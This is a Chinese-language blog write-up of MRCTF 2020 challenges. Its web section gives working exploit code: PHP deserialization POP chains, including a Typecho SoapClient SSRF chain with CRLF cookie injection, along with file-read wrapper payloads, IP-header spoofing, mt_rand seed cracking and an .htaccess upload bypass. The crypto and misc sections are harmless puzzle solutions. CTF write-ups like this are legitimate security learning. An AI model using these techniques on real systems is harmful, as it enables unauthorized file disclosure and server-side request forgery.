CTF Web安全

MRCTF(Web+Misc+Crypto)

Posted on 2020-03-28,9 min read
web

Ezpop

<?php
//flag is in flag.php
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这里先总结下有哪些魔法函数

Modifier类:
__invoke魔法函数。当一个类被当做函数调用时触发
Show类:
__toString魔法函数。属性被当成字符串的时候触发
__wakeup魔法函数。类调用时自动触发
Test类:
__get魔法函数。访问一个不存在的属性触发

下面开始构造POP链

三个类当中。只有Show类的__wakeup魔术方法。会在反序列化的时候自动触发。
那么就以Show的__wakeup为起点。
继续看。它会将$this->source当作字符串。进行正则匹配。那么可以触发toString魔术方法
会调用$this->str->source。如果将$this->str赋值为Test类。那么访问test类的source属性。属性不存在。就会触发__get魔法函数
会执行$this->p()
在Modifier中。有个invoke魔术方法。将类以函数调用时触发
那么$this->p定义为Modifier类。执行Modifier()。就会触发__invoke魔术方法
执行$this->append($this->var)。
include($this->var)
由于flag在flag.php中。这里可以用伪协议编码后带出

以下是exp:

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}


$r=new Modifier();
$s=new Show();
$t=new Test();
$t->p=$r;
$s->str=$t;
$s->source=$s;
echo urlencode(serialize($s));

执行得到flag

PYwebsite
右键发现js。通过验证后会访问flag.php


    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
      
    }


IP.自己。加个XFF头。拿到flag

ez_bypass

md5($id)===md5($gg)
数组绕过
is_numberic($passwd)
$passwd==1234567
弱类型比较1234567a

你传你🐎呢
.htaccess解析jpg
上传jpg

套娃
第一关

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}


第二关
F12源码得到JJencode。JS执行下。得到post me Merak

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

如果存在Merak就显示源码然后退出。
判断IP是否是127.0.0.1。但是不知道是通过什么方法得到的。
2333的值要等于todat is a happy day。data伪协议不说了
file经过change函数转换后。然后读取

先来过第一关。获取IP。一般就是XFF或者Client-ip绕过。这题是Client-ip
第二关。data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
第三关。根据函数。写出加密函数

<?php
  function enc($payload){ 
      for($i=0; $i<strlen($payload); $i++){
        $re .= chr(ord($payload[$i])-$i*2);
        #将本来的字符串。每个都-i*2  
      }
      return base64_encode($re);  
  }
  echo enc('flag.php');
  //flag.php加密后得到:ZmpdYSZmXGI=
?>

Ezaudit
根据种子。算出密文。和枯燥的抽奖一样。

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print res

得到种子

<?php
mt_srand(1775196155);
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

 function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
echo public_key()."\n";
echo private_key();
?>

Ezpop_Revenge
www.zip源码泄露
是个typecho。。。。。
flag.php得是本地访问。并且将flag放在session中。估计是SSRF+SOAP
全局搜索unserialize。在/usr/plugins/HelloWorld/Plugin.php中发现了一段可控的反序列化

这里存在反序列化点。并且可以打印session
那么就得找。哪里调用了这个类中的action方法

看下这个addroute

那么此处的意思就是访问page_admin。就会访问HelloWorld_Plugin类中的action方法
那么post就可以触发反序列化。反序列化点找到了。开始构造POP链
这个类中存在wakeup。会自动触发。从这开始构造POP

进入Typecho_Db类中__construct魔术方法。会将传入的第一个参数。当成字符串拼接。那么势必会触发__toString魔术方法

查找tostring。就三个。一个个看

在query.php中的__toSting魔术方法。

HelloWorld_DB类中的__wakeup魔术方法为起点。调用Typecho_Db($this->coincidence['hello'], $this->coincidence['world'])
Typecho_Db类中的__construct魔术方法。会将第一个参数进行字符串拼接。触发__toString
Typecho_Db_Query类中的__toString魔术方法。会执行$this->_adapter->parseSelect($this->_sqlPreBuild)造成SOAP+SSRF

由于Flag会给对应的session。那么我们还得通过CRLF。来控制SOAP的session
下面开始贴Payload

<?php
class Typecho_Db_Query
{
    private $_adapter;
    private $_sqlPreBuild;

    public function __construct()
    {
        $target = "http://127.0.0.1/flag.php";
        $this->_adapter = new SoapClient(null, array('uri' => 'abc', 'location' => $target, 'user_agent' => "abc\r\nCookie: PHPSESSID=123\r\n"));
        $this->_sqlPreBuild = ['action' => "SELECT"];
    }
}

class HelloWorld_DB
{
    private $coincidence;
    public function __construct()
    {
        $this->coincidence = array("hello" => new Typecho_Db_Query());
    }
}

$a = serialize(new HelloWorld_DB());
echo base64_encode($a);
?>
Crypto

天干地支+甲子

甲戌	11
甲寅	51
甲寅	51
癸卯	40
己酉 	46	
甲寅	51
辛丑	38

将每个值都加上60(甲子)
转ascii得到flag

keyboard
手机九键得到Flag

vigenere
https://www.guballa.de/vigenere-solver
维吉尼亚密码

古典密码知多少
猪圈密码。圣堂武士密码。银河密码。栅栏密码得到Flag

Misc

ezmisc
修改图片高度得到Flag

寻找xxx
dtmf脚本跑下得到18684221609
进入天璇公众号输入。得到Flag

千层套路

for((i=1;i<=500;i++));  
do
a=`ls *.zip|cut -c 1-4`;unzip -P $a $a.zip;rm -rf $a.zip
done

得到RGB。

from PIL import Image
MAX = 200
pic = Image.new("RGB",(MAX, MAX))
file = open("qr.txt",'r')
m = file.read().split('\n')
i=0
for y in range (0,MAX):
	for x in range (0,MAX):
		if(m[i] == '(0, 0, 0)'):
			pic.putpixel([x,y],(0, 0, 0))
		else:
			pic.putpixel([x,y],(255,255,255))
		i = i+1
pic.show()

扫码得到Flag

CyberPunk
修改本地时间。就可以拿到Flag

不眠之夜
montage *jpg -tile 10x12 -geometry 200x100+0+0 out.jpg
gaps --image=out.jpg --generations=40 --population=120 --size=100

你能看懂音符吗
RAR文件头。开头四位置换了。修好后得到你能看懂音符,docx
里面是音符。改xml格式。。复制音符解密得到Flag

下一篇: 易霖博YCTF-共克时艰-停课不停赛(web)→